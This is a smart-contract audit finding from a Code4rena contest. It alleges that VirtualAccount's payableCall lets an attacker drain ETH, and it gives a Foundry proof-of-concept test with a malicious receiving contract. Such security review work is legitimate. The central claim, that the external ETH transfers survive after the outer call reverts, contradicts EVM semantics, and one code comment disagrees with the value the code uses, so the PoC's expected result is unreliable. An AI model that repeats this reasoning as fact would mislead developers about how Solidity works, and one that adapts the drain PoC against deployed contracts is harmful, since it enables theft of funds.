Maia DAO - Ulysses - John_Femi's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85 https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L101

Vulnerability details

Impact

In the virtual Account there is a vulnerability in the payablecall function where attackers can drain the contract using external contracts. The vulnerability comes in the _call.target.call{value: val}(_call.callData) where the val is defined as call.value inputted by an arbitrary user which would be paid by the contract. The initial msg.value does not necessarily have to be up to the sum of the _call.value in the calls as the check is done in the end after contract drains have been completed.

Proof of Concept

Here is a sample POC test

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../helpers/ImportHelper.sol";

contract BadContract {

  receive() external payable{}
  function call() external payable returns(bool, bytes memory){
    address(this).call{value:msg.value}("");
    console2.log(msg.value);
    return (true, bytes(""));
  }

}

contract MainContractTest is Test {

    VirtualAccount mainContract;
    BadContract badContract;

    constructor() {
        mainContract = new VirtualAccount(address(0), address(10));
        badContract = new BadContract();
    }

    function testPayableCall() public {
        // Fund the main contract with about 10eth
        vm.deal(address(mainContract), 10 ether);

        // Create a data call of length 10 to the bad contract with call.value as 210000
        PayableCall[] memory calls = new PayableCall[](10);
        for (uint256 i = 0; i < 10; i++) {
          bytes memory callData = abi.encodeWithSignature("call()");
          calls[i] = PayableCall({target: address(badContract), value: 0.1 ether, callData: callData});
        }

        // Call the payableCall() function of the main contract
        try mainContract.payableCall{value: 0.1 ether}(calls){
           //expected to fail
        }catch{}

        // Check the balance of the bad contract
        uint256 badContractBalance = address(badContract).balance;
        assertEq(badContractBalance, 1 ether);
        
    }
}

What this test shows is we have a sample virtual account, an attacker can drain the account using the _call.target.call. Even though the contract reverts the external calls will not be reverted.

this can be taken further with the attacking contract re-entering the VirtualAccount and drain it continuously until out-of-gas error.

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend the following mitigation steps:

• Move this line https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L111 to check the sum of value before the external call is made.
• Add access control to this function also

Assessed type

ETH-Transfer